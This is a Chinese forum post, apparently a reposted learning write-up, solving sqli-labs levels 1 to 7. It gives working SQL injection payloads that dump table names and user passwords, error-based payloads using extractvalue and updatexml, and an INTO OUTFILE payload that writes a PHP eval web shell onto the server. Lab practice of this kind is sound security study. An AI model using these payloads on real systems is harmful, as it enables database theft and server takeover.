王柳 发表于 2025-3-1 08:08:41

sqli-lab

没了解sql注入的知识,本篇更像是复现
数据库层面
│   ├── 数据库1(Database 1)
│   │   ├── 表1(Table 1)
│   │   │   ├── 主键字段(Primary Key):唯一标识表中的每一行。
│   │   │   ├── 字段2(Field 2):存储不同类型的数据,如字符串、数字、日期等。
│   │   │   │   ├── 数据类型(Data Type):定义字段可以存储的数据类型。
│   │   │   │   └── 约束条件(Constraints):限制字段的值,如唯一、非空、检查等。
│   │   │   └── 数据记录(Data Records):表中的具体数据,由行和列组成。
│   │   ├── 表2(Table 2)
│   │   │   ├── 字段结构(Field Structure):定义表的结构和字段属性。
│   │   │   └── 外键(Foreign Key):建立表与表之间的关系,确保数据的完整性。
│   │   └── 视图(View)
│   │       ├── 虚拟表(Virtual Table):基于一个或多个基础表的查询结果。
│   │       └── 视图定义(View Definition):定义视图的查询语句和权限。
│   ├── 数据库2(Database 2)
│   │   ├── 存储过程(Stored Procedures):预编译的SQL语句,可重复使用。
│   │   ├── 函数(Functions):执行特定任务并返回结果。
│   │   └── 触发器(Triggers):在特定事件发生时自动执行的操作。
│   └── 系统数据库(System Database)
│       ├── 信息存储(Information Storage):存储数据库元数据和系统配置。
│       ├── 系统表(System Tables):定义数据库的结构和状态。
│       └── 日志表(Log Tables):记录数据库的操作和错误信息。 数据库结构大致是库~表~字段
mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,这个数据库下有两个表tables和columns,tables有table_name和table_schema两个字段,其中table_name字段下面是全部数据库存在的表名 ‘全部数据库——>表名’,table_schema字段下是全部表名对应的数据库名‘全部表名——>数据库名’;columns有colum_name和columns_schema两个字段,其中colum_name字段下是全部数据库存在的字段名全部数据库——>字段名,columns_schema字段下是全部表名对应的数据库‘全部表名——>数据库’
如何判定是字符型注入还是数字型注入_怎么判定是字符型注入还是数字型注入-CSDN博客
1

https://i-blog.csdnimg.cn/direct/9442171eeeee431db3187d98c640c46e.png
提示输入id,上传id=1
https://i-blog.csdnimg.cn/direct/5574c4c361274dfaa31e7c98d1d3a844.png
判定sql语句是否是拼接,且是字符型还是数字型
https://i-blog.csdnimg.cn/direct/d00daf40a4f34ff994293f6cef08ed96.png
https://i-blog.csdnimg.cn/direct/29b04e7067ba4666a52c73c940b1fd8f.png
可以看到加'的时候报错了,所以sql语句要是字符型的,使用联合查询,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
判定是否存在sql注入,先尝试闭合看看是否报错,使用id=1' order by 3--+查列名
https://i-blog.csdnimg.cn/direct/3209d70011e944c2a250e8c0d994e140.png
继续查第四列发现报错了
https://i-blog.csdnimg.cn/direct/296bfc0d3e6d43f39289b71df8a64c70.png
说明只有3列,也可以用id=1' union select 1,2,3,4 --+去查列表,如许可以一键查出来有多少列。
接着查账号密码属于多少列,使用?id=-1' union select 1,2,3 --+
https://i-blog.csdnimg.cn/direct/027acac3946644cd8054975131caa92a.png
可以看到name在2列,密码在3列,接着使用?id=-1'union select1,database(),version()--+看数据名和版本名
https://i-blog.csdnimg.cn/direct/2b641951f6bb4007b026f51a6067b2e0.png
得到名称是security,利用information_schema.tables数据库查询库中所以的表和列
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询information_schema数据库下的tables表里面且table_schema字段内容是security的全部table_name的内容
https://i-blog.csdnimg.cn/direct/144d77f352a24358a80377d501d3ff92.png
通过查询,我们得到了四个表名,推测信息大概在user里面,接下来爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询information_schema数据库下的columns表里面且table_users字段内容是users的全部column_name
https://i-blog.csdnimg.cn/direct/8a11fd19ca5a4d0e815ea4b2247aa3d9.png
得到了两个字段,从名称上看应该是账号密码
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
加上id隔开账号密码,查询这两个字段的内容
https://i-blog.csdnimg.cn/direct/a5c3b14ee5b34461a34792e80afa745c.png
2

先判定类型?id=1'
https://i-blog.csdnimg.cn/direct/dbec7ba1bd35478aac50e00e151e0c0a.png
https://i-blog.csdnimg.cn/direct/3bd0d83f121d4c47b9f666c821381b80.png
显然是数字型,不存在联合拼接查列表?id=1 union select 1,2,3,4 --+
https://i-blog.csdnimg.cn/direct/6d8773b3654044cfa8dc55dfb21ee967.png
查属于多少列?id=-1 union select 1,2,3 --+
https://i-blog.csdnimg.cn/direct/e146d16b12a6428fa9a47a6f77a04692.png
name在2,passwd在3,查数据名和版本?id=-1 union select 1,database(),version()
https://i-blog.csdnimg.cn/direct/2b1f21455a0345b8996b35a587aa5f78.png
数据名叫security,暴库?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
https://i-blog.csdnimg.cn/direct/3fe7abc34a534de49704d6ec9b5588fb.png
还是在user,爆字段名?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
https://i-blog.csdnimg.cn/direct/598ca841a3544a8bad70fcd93fe18243.png
和上一关一样,查询username和password
?id=-1 union select 1,2,group_concat(username ,id , password) from users
https://i-blog.csdnimg.cn/direct/3446747986ba473ea7bf5b73ffe78452.png
3

?id=1 and 1=1
https://i-blog.csdnimg.cn/direct/f37d7a03355640bdb8dcb13a55d5c49f.png
?id=1 and 1=2
https://i-blog.csdnimg.cn/direct/ac2147e6f47f474eb6932dcf7175011b.png
?id=1’ and ‘1’='1
https://i-blog.csdnimg.cn/direct/f5562473ba5d4f2daa376e34d4269fc0.png
是字符型注入
wp中使用?id=2')--+
https://i-blog.csdnimg.cn/direct/2afa2e3d62d14d80adf744a4e4be720e.png
?id=2'
https://i-blog.csdnimg.cn/direct/dd6a3bc9f8bb4fec84976d4c2432af82.png
报错,说明sql语句是引号字符型且有括号
查列表?id=1')union select 1,2,3--+
https://i-blog.csdnimg.cn/direct/9f1ef98c89c64e1ea4ef7237bd30da1f.png
有三个列表,查库名和版本名?id=-1') union select 1,database(),version()--+
https://i-blog.csdnimg.cn/direct/33a132861a50421182b147c26cab5640.png
一样的名称,暴库?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
同样是在userhttps://i-blog.csdnimg.cn/direct/c79e76999ff6453397c6e6b0961263e9.png
爆字段名?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
https://i-blog.csdnimg.cn/direct/b6c5525471844923bbeaba7cdc6b08a2.png
查询账号密码?id=-1')union select 1,2,group_concat(username ,id , password) from users--+
https://i-blog.csdnimg.cn/direct/3056534fd467426aa328624e246db25a.png
4

?id=1") order by 3--+
https://i-blog.csdnimg.cn/direct/d3546457663143729521b4e23f87af38.png
区别于上一关的,这关是双引号字符型,带括号
查列表?id=1")union select 1,2,3--+
https://i-blog.csdnimg.cn/direct/63dab145f32b414fae49e575911bc2d8.png
查库名和版本名?id=-1") union select 1,database(),version()--+
https://i-blog.csdnimg.cn/direct/5a3084a3b5894df49c039a4973eef821.png
暴库?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
https://i-blog.csdnimg.cn/direct/9991f224b2a24b5d8a1e3cef30210eeb.png
爆字段名?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
https://i-blog.csdnimg.cn/direct/b23c8503f60c4341aa1aea29e8dbdec6.png
查询账号密码?id=-1")union select 1,2,group_concat(username ,id , password) from users--+
https://i-blog.csdnimg.cn/direct/c15551e47c8343258c9eb1d58d43f5b8.png 5

https://i-blog.csdnimg.cn/direct/ae3ee0b72e76463a9ff04436782ec610.png
https://i-blog.csdnimg.cn/direct/6a930eda68964b54a841d06f5633aebf.png
https://i-blog.csdnimg.cn/direct/f787831354f64de7808b43cf337d206c.png
https://i-blog.csdnimg.cn/direct/c7918c91d5594e849343e7a7c82e0878.png
https://i-blog.csdnimg.cn/direct/a7b912cf091c4efd9e6932f3c8090393.png
单引号闭合型,且列表数为3
https://i-blog.csdnimg.cn/direct/19d8db450ae34748bd8ef2acc6fa5b0b.png
列表数为3,使用上面的办法显然是不行的,可以看到查询id的时候出来的不是账号密码,而是一串字符串,没有其他的表现,这时候用到布尔盲注,用到length(),ascii() ,substr()这三个函数
或者报错盲注,报错注入主要用extractvalue,updateml,floor函数
使用报错盲注
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
https://i-blog.csdnimg.cn/direct/7109d27bf5bd41f7a438f7a3195dd984.png
暴库?id=1' union select extractvalue(1,concat('~','~',database())) -- a
爆表?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) -- a
爆数据?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users),'~')) -- a
前后看了几个wp,发现不论我怎么注入返回的画面都是这个画面,但是步骤就是上面那个
6

id=1' order by 4 --+
https://i-blog.csdnimg.cn/direct/1fcbd84cc66b4dfa94e0fca1ba26c371.png
id=1" order by 4 --+https://i-blog.csdnimg.cn/direct/fee5923e937342c0817da696f693e189.png
这题相较于上一题显然是双引号闭合型,别的都一样
7

多次尝试闭合类型,是'))闭合
https://i-blog.csdnimg.cn/direct/778f453d34fc4e788dbecec2f991096b.png
提示输出文件,使用?id=1')) union select 1,'<?php @eval($_POST["456"]);?>',3 into outfile "E:\\phpstudy_pro\\www\\sqli-labs\\Less-7\\m456.php" -- a将木马写入
https://i-blog.csdnimg.cn/direct/f7b3f92556ed4544b6d8647af10691f7.png
使用蚁剑连接
https://i-blog.csdnimg.cn/direct/d97703052b2c4269a74271edf3ca40ec.png
8


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: sqli-lab